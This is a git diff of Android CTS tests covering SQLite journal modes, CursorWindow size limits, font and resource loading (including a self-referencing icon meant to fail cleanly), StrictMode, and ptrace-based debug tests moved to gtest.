diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/tests/tests/content/res/mipmap/icon_recursive.xml
similarity index 69%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
copy to tests/tests/content/res/mipmap/icon_recursive.xml
index 578d7e5..b44fe19 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ b/tests/tests/content/res/mipmap/icon_recursive.xml
@@ -1,4 +1,5 @@
-/*
+<?xml version="1.0" encoding="utf-8"?>
+<!--
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,12 +13,9 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- */
+ -->
-package android.server.cts;
-
-import android.app.Activity;
-
-public class ResumeWhilePausingActivity extends Activity {
- // Empty
-}
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+ <background android:drawable="@mipmap/icon_background" />
+ <foreground android:drawable="@mipmap/icon_recursive" />
+</adaptive-icon>
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index e34aa6e..a7e2815 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -347,4 +347,18 @@
assertDefaultHandlerValidPriority(intent);
}
}
+
+ public void testFingerprintEnrollStart() {
+ PackageManager packageManager = mContext.getPackageManager();
+ if (packageManager.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT)) {
+ assertCanBeHandled(new Intent(Settings.ACTION_FINGERPRINT_ENROLL));
+ }
+ }
+
+ public void testPictureInPictureSettings() {
+ PackageManager packageManager = mContext.getPackageManager();
+ if (packageManager.hasSystemFeature(PackageManager.FEATURE_PICTURE_IN_PICTURE)) {
+ assertCanBeHandled(new Intent(Settings.ACTION_PICTURE_IN_PICTURE_SETTINGS));
+ }
+ }
}
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index 5f48260..871107c 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -347,11 +347,11 @@
// Test openOrCreateDatabase with null and actual factory
mDatabase = mContextWrapper.openOrCreateDatabase(DATABASE_NAME1,
- ContextWrapper.MODE_PRIVATE, factory);
+ ContextWrapper.MODE_ENABLE_WRITE_AHEAD_LOGGING, factory);
assertNotNull(mDatabase);
mDatabase.close();
mDatabase = mContextWrapper.openOrCreateDatabase(DATABASE_NAME2,
- ContextWrapper.MODE_PRIVATE, factory);
+ ContextWrapper.MODE_ENABLE_WRITE_AHEAD_LOGGING, factory);
assertNotNull(mDatabase);
mDatabase.close();
@@ -360,7 +360,7 @@
// Test databaseList()
List<String> list = Arrays.asList(mContextWrapper.databaseList());
- assertEquals(4, list.size()); // Each database has a journal
+ assertEquals(2, list.size());
assertTrue("1) database list: " + list, list.contains(DATABASE_NAME1));
assertTrue("2) database list: " + list, list.contains(DATABASE_NAME2));
diff --git a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
index b4fcb31..7c9e538 100644
--- a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
+++ b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
@@ -22,6 +22,8 @@
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.os.StrictMode;
+import android.os.StrictMode.ViolationInfo;
+import android.os.StrictMode.ViolationLogger;
import android.preference.PreferenceManager;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -32,6 +34,8 @@
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
/**
* Test {@link SharedPreferences}.
@@ -322,28 +326,27 @@
}
}
- public void testModeMultiProcess() {
+ public void testModeMultiProcess() throws InterruptedException {
// Pre-load it.
mContext.getSharedPreferences("multiprocessTest", 0);
final StrictMode.ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
try {
StrictMode.ThreadPolicy diskReadDeath =
- new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyDeath().build();
+ new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyLog().build();
StrictMode.setThreadPolicy(diskReadDeath);
+ final CountDownLatch latch = new CountDownLatch(1);
+ StrictMode.setViolationLogger(info -> latch.countDown());
// This shouldn't hit disk. (it was already pre-loaded above)
mContext.getSharedPreferences("multiprocessTest", 0);
+ boolean triggered = latch.await(1, TimeUnit.SECONDS);
+ assertFalse(triggered);
- boolean didRead = false;
// This SHOULD hit disk. (multi-process flag is set)
- try {
- mContext.getSharedPreferences("multiprocessTest", Context.MODE_MULTI_PROCESS);
- fail(); // we shouldn't get here.
- } catch (StrictMode.StrictModeViolation e) {
- didRead = true;
- }
- assertTrue(didRead);
+ mContext.getSharedPreferences("multiprocessTest", Context.MODE_MULTI_PROCESS);
+ triggered = latch.await(1, TimeUnit.SECONDS);
+ assertTrue(triggered);
} finally {
StrictMode.setThreadPolicy(oldPolicy);
}
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 7f5d6ce..6c02845 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -31,6 +31,7 @@
import android.content.res.Resources.NotFoundException;
import android.content.res.TypedArray;
import android.content.res.XmlResourceParser;
+import android.graphics.Paint;
import android.graphics.Typeface;
import android.graphics.drawable.AdaptiveIconDrawable;
import android.graphics.drawable.ColorDrawable;
@@ -324,6 +325,15 @@
}
}
+ public void testGetDrawable_StackOverflowErrorDrawable_mipmap() {
+ try {
+ mResources.getDrawable(R.mipmap.icon_recursive);
+ fail("Failed at testGetDrawable_StackOverflowErrorDrawable_mipmap");
+ } catch (NotFoundException e) {
+ //expected
+ }
+ }
+
public void testGetDrawableForDensity() {
final Drawable ldpi = mResources.getDrawableForDensity(
R.drawable.density_test, DisplayMetrics.DENSITY_LOW);
@@ -788,6 +798,55 @@
assertNotSame(Typeface.DEFAULT, font);
}
+ private Typeface getLargerTypeface(String text, Typeface typeface1, Typeface typeface2) {
+ Paint p1 = new Paint();
+ p1.setTypeface(typeface1);
+ float width1 = p1.measureText(text);
+ Paint p2 = new Paint();
+ p2.setTypeface(typeface2);
+ float width2 = p2.measureText(text);
+
+ if (width1 > width2) {
+ return typeface1;
+ } else if (width1 < width2) {
+ return typeface2;
+ } else {
+ fail("The widths of the text should not be the same");
+ return null;
+ }
+ }
+
+ public void testGetFont_xmlFileWithTtc() {
+ // Here we test that building typefaces by indexing in font collections works correctly.
+ // We want to ensure that the built typefaces correspond to the fonts with the right index.
+ // sample_font_collection.ttc contains two fonts (with indices 0 and 1). The first one has
+ // glyph "a" of 3em width, and all the other glyphs 1em. The second one has glyph "b" of
+ // 3em width, and all the other glyphs 1em. Hence, we can compare the width of these
+ // glyphs to assert that ttc indexing works.
+ Typeface normalFont = mResources.getFont(R.font.sample_ttc_family);
+ assertNotNull(normalFont);
+ Typeface italicFont = Typeface.create(normalFont, Typeface.ITALIC);
+ assertNotNull(italicFont);
+
+ assertEquals(getLargerTypeface("a", normalFont, italicFont), normalFont);
+ assertEquals(getLargerTypeface("b", normalFont, italicFont), italicFont);
+ }
+
+ public void testGetFont_xmlFileWithVariationSettings() {
+ // Here we test that specifying variation settings for fonts in XMLs works.
+ // We build typefaces from two families containing one font each, using the same font
+ // resource, but having different values for the 'wdth' tag. Then we measure the painted
+ // text to ensure that the tag affects the text width. The font resource used supports
+ // the 'wdth' axis for the dash (-) character.
+ Typeface typeface1 = mResources.getFont(R.font.sample_variation_settings_family1);
+ assertNotNull(typeface1);
+ Typeface typeface2 = mResources.getFont(R.font.sample_variation_settings_family2);
+ assertNotNull(typeface2);
+
+ assertNotSame(typeface1, typeface2);
+ assertEquals(getLargerTypeface("-", typeface1, typeface2), typeface2);
+ }
+
public void testGetFont_invalidXmlFile() {
try {
assertNull(mResources.getFont(R.font.invalid_xmlfamily));
diff --git a/tests/tests/database/src/android/database/cts/CursorWindowTest.java b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
index 65ce3fd..b0dc266 100644
--- a/tests/tests/database/src/android/database/cts/CursorWindowTest.java
+++ b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
@@ -21,16 +21,31 @@
import android.database.MatrixCursor;
import android.database.sqlite.SQLiteException;
import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Random;
-public class CursorWindowTest extends AndroidTestCase {
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class CursorWindowTest {
private static final String TEST_STRING = "Test String";
+ @Test
public void testWriteCursorToWindow() throws Exception {
// create cursor
String[] colNames = new String[]{"_id", "name", "number", "profit"};
@@ -75,6 +90,7 @@
assertEquals(0, window.getNumRows());
}
+ @Test
public void testNull() {
CursorWindow window = getOneByOneWindow();
@@ -82,10 +98,11 @@
assertTrue(window.putNull(0, 0));
assertNull(window.getString(0, 0));
assertEquals(0, window.getLong(0, 0));
- assertEquals(0.0, window.getDouble(0, 0));
+ assertEquals(0.0, window.getDouble(0, 0), 0.0);
assertNull(window.getBlob(0, 0));
}
+ @Test
public void testEmptyString() {
CursorWindow window = getOneByOneWindow();
@@ -93,9 +110,10 @@
assertTrue(window.putString("", 0, 0));
assertEquals("", window.getString(0, 0));
assertEquals(0, window.getLong(0, 0));
- assertEquals(0.0, window.getDouble(0, 0));
+ assertEquals(0.0, window.getDouble(0, 0), 0.0);
}
+ @Test
public void testConstructors() {
int TEST_NUMBER = 5;
CursorWindow cursorWindow;
@@ -123,6 +141,7 @@
assertEquals(TEST_STRING, cursorWindow.getString(TEST_NUMBER, 0));
}
+ @Test
public void testDataStructureOperations() {
CursorWindow cursorWindow = new CursorWindow(true);
@@ -175,6 +194,7 @@
}
}
+ @Test
public void testAccessDataValues() {
final long NUMBER_LONG_INTEGER = (long) 0xaabbccddffL;
final long NUMBER_INTEGER = (int) NUMBER_LONG_INTEGER;
@@ -214,8 +234,8 @@
assertEquals(0, cursorWindow.getLong(0, 0));
assertEquals(0, cursorWindow.getInt(0, 0));
assertEquals(0, cursorWindow.getShort(0, 0));
- assertEquals(0.0, cursorWindow.getDouble(0, 0));
- assertEquals(0.0f, cursorWindow.getFloat(0, 0), 0.00000001f);
+ assertEquals(0.0, cursorWindow.getDouble(0, 0), 0.0);
+ assertEquals(0.0f, cursorWindow.getFloat(0, 0), 0.0);
assertFalse(cursorWindow.isNull(0, 0));
assertFalse(cursorWindow.isBlob(0, 0));
@@ -226,8 +246,8 @@
assertEquals(0, cursorWindow.getLong(0, 1));
assertEquals(0, cursorWindow.getInt(0, 1));
assertEquals(0, cursorWindow.getShort(0, 1));
- assertEquals(0.0, cursorWindow.getDouble(0, 1));
- assertEquals(0.0f, cursorWindow.getFloat(0, 1), 0.00000001f);
+ assertEquals(0.0, cursorWindow.getDouble(0, 1), 0.0);
+ assertEquals(0.0f, cursorWindow.getFloat(0, 1), 0.0);
assertNull(cursorWindow.getBlob(0, 1));
assertTrue(cursorWindow.isNull(0, 1));
// If the field is null, isBlob will return true.
@@ -239,8 +259,8 @@
assertEquals(NUMBER_INTEGER, cursorWindow.getInt(0, 2));
assertEquals(Long.toString(NUMBER_LONG_INTEGER), cursorWindow.getString(0, 2));
assertEquals(NUMBER_SHORT, cursorWindow.getShort(0, 2));
- assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 2), 0.00000001f);
- assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 2), 0.00000001);
+ assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 2), 0.0);
+ assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 2), 0.0);
try {
cursorWindow.getBlob(0, 2);
fail("Can't get Blob from a Integer value.");
@@ -259,8 +279,8 @@
assertEquals(NUMBER_FLOAT_SCIENCE_STRING2.substring(0, 6), cursorWindow.getString(0, 3)
.substring(0, 6));
assertEquals(NUMBER_SHORT, cursorWindow.getShort(0, 3));
- assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 3), 0.00000001f);
- assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 3), 0.00000001);
+ assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 3), 0.0);
+ assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 3), 0.0);
try {
cursorWindow.getBlob(0, 3);
fail("Can't get Blob from a Double value.");
@@ -279,6 +299,7 @@
assertTrue(cursorWindow.isBlob(0, 4));
}
+ @Test
public void testCopyStringToBuffer() {
int DEFAULT_ARRAY_LENGTH = 64;
String baseString = "0123456789";
@@ -314,6 +335,7 @@
assertEquals(expectedString.length(), charArrayBuffer.data.length);
}
+ @Test
public void testAccessStartPosition() {
final int TEST_POSITION_1 = 0;
final int TEST_POSITION_2 = 3;
@@ -343,6 +365,7 @@
}
}
+ @Test
public void testClearAndOnAllReferencesReleased() {
MockCursorWindow cursorWindow = new MockCursorWindow(true);
@@ -369,11 +392,43 @@
assertTrue(cursorWindow.hasReleasedAllReferences());
}
+ @Test
public void testDescribeContents() {
CursorWindow cursorWindow = new CursorWindow(true);
assertEquals(0, cursorWindow.describeContents());
}
+ @Test
+ public void testDefaultCursorWindowSize() {
+ CursorWindow cursorWindow = new CursorWindow("test");
+ cursorWindow.setNumColumns(1);
+ byte[] bytes = new byte[1024];
+ Arrays.fill(bytes, (byte) 1);
+ // Ensure that the default is not too small and it's possible to fill CursorWindow
+ // with ~2Mb of data
+ int testRowCount = 2016;
+ for (int i = 0; i < testRowCount; i++) {
+ assertTrue(cursorWindow.allocRow());
+ assertTrue("Allocation failed for row " + i, cursorWindow.putBlob(bytes, i, 0));
+ }
+ assertTrue(cursorWindow.allocRow());
+ assertFalse("Allocation should fail for row " + testRowCount,
+ cursorWindow.putBlob(bytes, testRowCount, 0));
+ }
+
+ @Test
+ public void testCustomSize() {
+ // Allocate CursorWindow with max size 10KB and test that restriction is enforced
+ CursorWindow cursorWindow = new CursorWindow("test", 10000);
+ cursorWindow.setNumColumns(1);
+ byte[] bytes = new byte[8000];
+ Arrays.fill(bytes, (byte) 1);
+ assertTrue(cursorWindow.allocRow());
+ assertTrue("Allocation of 1 row should succeed", cursorWindow.putBlob(bytes, 0, 0));
+ assertTrue(cursorWindow.allocRow());
+ assertFalse("Allocation of 2nd row should fail", cursorWindow.putBlob(bytes, 1, 0));
+ }
+
private class MockCursorWindow extends CursorWindow {
private boolean mHasReleasedAllReferences = false;
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java
index a506de5..a11abf6 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java
@@ -19,10 +19,13 @@
import android.content.Context;
import android.database.AbstractCursor;
+import android.database.AbstractWindowedCursor;
import android.database.Cursor;
import android.database.CursorWindow;
import android.database.DataSetObserver;
+import android.database.SQLException;
import android.database.StaleDataException;
+import android.database.sqlite.SQLiteBlobTooBigException;
import android.database.sqlite.SQLiteCursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteDirectCursorDriver;
@@ -210,6 +213,46 @@
assertEquals(TEST_COUNT - TEST_ARG2, cursor.getCount());
}
+ public void testRowTooBig() {
+ mDatabase.execSQL("CREATE TABLE Tst (Txt BLOB NOT NULL);");
+ byte[] testArr = new byte[10000];
+ Arrays.fill(testArr, (byte) 1);
+ for (int i = 0; i < 10; i++) {
+ mDatabase.execSQL("INSERT INTO Tst VALUES (?)", new Object[]{testArr});
+ }
+
+ // Now reduce window size, so that no rows can fit
+ Cursor cursor = mDatabase.rawQuery("SELECT * FROM TST", null);
+ CursorWindow cw = new CursorWindow("test", 5000);
+ AbstractWindowedCursor ac = (AbstractWindowedCursor) cursor;
+ ac.setWindow(cw);
+
+ try {
+ ac.moveToNext();
+ fail("Exception is expected when row exceeds CursorWindow size");
+ } catch (SQLiteBlobTooBigException expected) {
+ }
+ }
+
+ public void testFillWindowForwardOnly() {
+ mDatabase.execSQL("CREATE TABLE Tst (Num Integer NOT NULL);");
+ mDatabase.beginTransaction();
+ for (int i = 0; i < 100; i++) {
+ mDatabase.execSQL("INSERT INTO Tst VALUES (?)", new Object[]{i});
+ }
+ mDatabase.setTransactionSuccessful();
+ mDatabase.endTransaction();
+ Cursor cursor = mDatabase.rawQuery("SELECT * FROM TST", null);
+ SQLiteCursor ac = (SQLiteCursor) cursor;
+ CursorWindow window = new CursorWindow("test", 1000);
+ ac.setFillWindowForwardOnly(true);
+ ac.setWindow(window);
+ assertTrue(ac.moveToFirst());
+ // Now skip 70 rows and check that the window start position corresponds to row 70
+ ac.move(70);
+ assertEquals(70, window.getStartPosition());
+ }
+
public void testOnMove() {
// Do not test this API. It is callback which:
// 1. The callback mechanism has been tested in super class
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index 26f8794..56a815b 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -33,6 +33,7 @@
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteDatabase.CursorFactory;
import android.database.sqlite.SQLiteDebug;
+import android.database.sqlite.SQLiteGlobal;
import android.database.sqlite.SQLiteQuery;
import android.database.sqlite.SQLiteStatement;
import android.database.sqlite.SQLiteTransactionListener;
@@ -1390,6 +1391,16 @@
assertFalse(mDatabase.isWriteAheadLoggingEnabled());
}
+ public void testDisableWriteAheadLogging() {
+ assertFalse(mDatabase.isWriteAheadLoggingEnabled());
+ mDatabase.disableWriteAheadLogging();
+ assertFalse(mDatabase.isWriteAheadLoggingEnabled());
+ // Verify that default journal mode is set if WAL is disabled
+ String defaultJournalMode = SQLiteGlobal.getDefaultJournalMode();
+ assertTrue(DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)
+ .equalsIgnoreCase(defaultJournalMode));
+ }
+
public void testEnableThenDisableWriteAheadLoggingUsingOpenFlag() {
closeAndDeleteDatabase();
mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile.getPath(), null,
@@ -1584,4 +1595,64 @@
} catch (IllegalArgumentException expected) {
}
}
+
+ public void testDefaultJournalModeNotWAL() {
+ String defaultJournalMode = SQLiteGlobal.getDefaultJournalMode();
+ assertFalse("Default journal mode should not be WAL",
+ DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)
+ .equalsIgnoreCase(defaultJournalMode));
+ }
+
+ public void testCompatibilityWALIsDefaultWhenSupported() {
+ if (!SQLiteGlobal.isCompatibilityWalSupported()) {
+ Log.i(TAG, "Compatibility WAL not supported. "
+ + "Skipping testCompatibilityWALIsDefaultWhenSupported");
+ return;
+ }
+
+ assertTrue("Journal mode should be WAL if compatibility WAL is supported",
+ DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)
+ .equalsIgnoreCase("WAL"));
+ }
+
+ /**
+ * Test that app can specify journal mode/synchronous mode
+ */
+ public void testJournalModeSynchronousModeOverride() {
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setJournalMode("DELETE").setSynchronousMode("OFF").build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+
+ String journalMode = DatabaseUtils
+ .stringForQuery(mDatabase, "PRAGMA journal_mode", null);
+
+ assertEquals("DELETE", journalMode.toUpperCase());
+ String syncMode = DatabaseUtils
+ .stringForQuery(mDatabase, "PRAGMA synchronous", null);
+
+ assertEquals("0", syncMode);
+ }
+
+ /**
+ * Test that enableWriteAheadLogging is not affected by app's journal mode/synchronous mode
+ * settings
+ */
+ public void testEnableWalOverridesJournalModeSynchronousMode() {
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setJournalMode("DELETE").setSynchronousMode("OFF").build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ mDatabase.enableWriteAheadLogging();
+
+ String journalMode = DatabaseUtils
+ .stringForQuery(mDatabase, "PRAGMA journal_mode", null);
+
+ assertEquals("WAL", journalMode.toUpperCase());
+ String syncMode = DatabaseUtils
+ .stringForQuery(mDatabase, "PRAGMA synchronous", null);
+
+ assertEquals("2" /* FULL */, syncMode);
+ }
+
}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
index 853f24b..20c9a0d 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
@@ -18,6 +18,7 @@
import android.app.ActivityManager;
import android.content.Context;
+import android.database.Cursor;
import android.database.sqlite.SQLiteCursor;
import android.database.sqlite.SQLiteCursorDriver;
import android.database.sqlite.SQLiteDatabase;
@@ -31,6 +32,9 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import java.io.File;
+import java.util.Arrays;
+
import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
@@ -55,6 +59,7 @@
@Override
protected void tearDown() throws Exception {
mOpenHelper.close();
+ SQLiteDatabase.deleteDatabase(mContext.getDatabasePath(TEST_DATABASE_NAME));
super.tearDown();
}
@@ -204,17 +209,73 @@
output.contains("Connection #0:"));
}
+ public void testOpenParamsConstructor() {
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .build();
+
+ MockOpenHelper helper = new MockOpenHelper(mContext, null, 1, params);
+ SQLiteDatabase database = helper.getWritableDatabase();
+ assertNotNull(database);
+ helper.close();
+ }
+
+ /**
+ * Tests a scenario in WAL mode with multiple connections, when a connection should see schema
+ * changes made from another connection.
+ */
+ public void testWalSchemaChangeVisibilityOnUpgrade() {
+ File dbPath = mContext.getDatabasePath(TEST_DATABASE_NAME);
+ SQLiteDatabase.deleteDatabase(dbPath);
+ SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbPath, null);
+ db.execSQL("CREATE TABLE test_table (_id INTEGER PRIMARY KEY AUTOINCREMENT)");
+ db.setVersion(1);
+ db.close();
+ mOpenHelper = new MockOpenHelper(mContext, TEST_DATABASE_NAME, null, 2) {
+ {
+ setWriteAheadLoggingEnabled(true);
+ }
+
+ @Override
+ public void onCreate(SQLiteDatabase db) {
+ }
+
+ @Override
+ public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
+ if (oldVersion == 1) {
+ db.execSQL("ALTER TABLE test_table ADD column2 INT DEFAULT 1234");
+ db.execSQL("CREATE TABLE test_table2 (_id INTEGER PRIMARY KEY AUTOINCREMENT)");
+ }
+ }
+ };
+ // Check if can see the new column
+ try (Cursor cursor = mOpenHelper.getReadableDatabase()
+ .rawQuery("select * from test_table", null)) {
+ assertEquals("Newly added column should be visible. Returned columns: " + Arrays
+ .toString(cursor.getColumnNames()), 2, cursor.getColumnCount());
+ }
+ // Check if can see the new table
+ try (Cursor cursor = mOpenHelper.getReadableDatabase()
+ .rawQuery("select * from test_table2", null)) {
+ assertEquals(1, cursor.getColumnCount());
+ }
+ }
+
private MockOpenHelper getOpenHelper() {
return new MockOpenHelper(mContext, TEST_DATABASE_NAME, mFactory, TEST_VERSION);
}
- private class MockOpenHelper extends SQLiteOpenHelper {
+ private static class MockOpenHelper extends SQLiteOpenHelper {
private boolean mHasCalledOnOpen = false;
- public MockOpenHelper(Context context, String name, CursorFactory factory, int version) {
+ MockOpenHelper(Context context, String name, CursorFactory factory, int version) {
super(context, name, factory, version);
}
+ MockOpenHelper(Context context, String name, int version,
+ SQLiteDatabase.OpenParams openParams) {
+ super(context, name, version, openParams);
+ }
+
@Override
public void onCreate(SQLiteDatabase db) {
}
@@ -237,8 +298,8 @@
}
}
- private class MockCursor extends SQLiteCursor {
- public MockCursor(SQLiteDatabase db, SQLiteCursorDriver driver, String editTable,
+ private static class MockCursor extends SQLiteCursor {
+ MockCursor(SQLiteDatabase db, SQLiteCursorDriver driver, String editTable,
SQLiteQuery query) {
super(db, driver, editTable, query);
}
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
index f1b9b27..c715d07 100644
--- a/tests/tests/debug/Android.mk
+++ b/tests/tests/debug/Android.mk
@@ -30,7 +30,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
LOCAL_JNI_SHARED_LIBRARIES := libdebugtest
diff --git a/tests/tests/debug/AndroidManifest.xml b/tests/tests/debug/AndroidManifest.xml
index 4b3254a..091e778 100644
--- a/tests/tests/debug/AndroidManifest.xml
+++ b/tests/tests/debug/AndroidManifest.xml
@@ -26,8 +26,6 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.debug.cts"
android:label="CTS tests of native debugging API">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
</manifest>
diff --git a/tests/tests/debug/libdebugtest/Android.mk b/tests/tests/debug/libdebugtest/Android.mk
index 80eb256..d3db70f 100644
--- a/tests/tests/debug/libdebugtest/Android.mk
+++ b/tests/tests/debug/libdebugtest/Android.mk
@@ -31,6 +31,7 @@
android_debug_cts.cpp
LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_WHOLE_STATIC_LIBRARIES := libnativetesthelper_jni
LOCAL_SDK_VERSION := 23
LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/debug/libdebugtest/android_debug_cts.cpp b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
index fb87a28..3aa4318 100644
--- a/tests/tests/debug/libdebugtest/android_debug_cts.cpp
+++ b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
@@ -15,6 +15,7 @@
*/
#include <jni.h>
+#include <gtest/gtest.h>
#include <android/log.h>
#include <errno.h>
@@ -29,6 +30,7 @@
#define LOG_TAG "Cts-DebugTest"
+// Used by child processes only
#define assert_or_exit(x) \
do { \
if(x) break; \
@@ -36,29 +38,21 @@
errno, strerror(errno)); \
_exit(1); \
} while (0)
-#define assert_or_return(x) \
- do { \
- if(x) break; \
- __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, "Assertion " #x " failed. errno(%d): %s", \
- errno, strerror(errno)); \
- return false; \
- } while (0)
-static bool parent(pid_t child) {
+static void parent(pid_t child) {
int status;
int wpid = waitpid(child, &status, 0);
- assert_or_return(wpid == child);
- assert_or_return(WIFEXITED(status));
- assert_or_return(WEXITSTATUS(status ) == 0);
- return true;
+ ASSERT_EQ(child, wpid);
+ ASSERT_TRUE(WIFEXITED(status));
+ ASSERT_EQ(0, WEXITSTATUS(status));
}
-static bool run_test(const std::function<void(pid_t)> &test) {
+static void run_test(const std::function<void(pid_t)> &test) {
pid_t pid = fork();
- assert_or_return(pid >= 0);
- if (pid != 0)
- return parent(pid);
- else {
+ ASSERT_NE(-1, pid) << "fork() failed with " << strerror(errno);
+ if (pid != 0) {
+ parent(pid);
+ } else {
// child
test(getppid());
_exit(0);
@@ -75,12 +69,10 @@
assert_or_exit(ptrace(PTRACE_DETACH, parent, nullptr, nullptr) == 0);
}
-// public static native boolean ptraceAttach();
-extern "C" jboolean Java_android_debug_cts_DebugTest_ptraceAttach(JNIEnv *, jclass) {
- return run_test(ptraceAttach);
+TEST(DebugTest, ptraceAttach) {
+ run_test(ptraceAttach);
}
-
static void processVmReadv(pid_t parent, const std::vector<long *> &addresses) {
long destination;
iovec local = { &destination, sizeof destination };
@@ -99,11 +91,11 @@
static long global_variable = 0x47474747;
// public static native boolean processVmReadv();
-extern "C" jboolean Java_android_debug_cts_DebugTest_processVmReadv(JNIEnv *, jclass) {
+TEST(DebugTest, processVmReadv) {
long stack_variable = 0x42424242;
// This runs the test with a selection of different kinds of addresses and
// makes sure the child process (simulating a debugger) can read them.
- return run_test([&](pid_t parent) {
+ run_test([&](pid_t parent) {
processVmReadv(parent, std::vector<long *>{
&global_variable, &stack_variable,
reinterpret_cast<long *>(&processVmReadv)});
@@ -111,9 +103,9 @@
}
// public static native boolean processVmReadvNullptr();
